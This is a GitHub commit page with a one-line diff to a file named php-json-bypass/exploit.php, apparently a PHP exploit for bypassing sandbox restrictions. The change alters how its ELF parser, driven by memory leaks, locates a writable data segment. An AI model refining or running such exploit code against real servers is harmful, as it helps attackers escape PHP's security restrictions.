Skip to content

Commit 8350abe

Browse files
committed
Do not rely on PT_GNU_RELRO segment
1 parent 7083593 commit 8350abe

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

php-json-bypass/exploit.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ public function parse_elf($base) {
7272
$p_vaddr = $this->leak2($header, 0x10);
7373
$p_memsz = $this->leak2($header, 0x28);
7474

75-
if($p_type == 0x6474e552) { # PT_GNU_RELRO
75+
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
7676
# handle pie
7777
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
7878
$data_size = $p_memsz;

0 commit comments

Comments
 (0)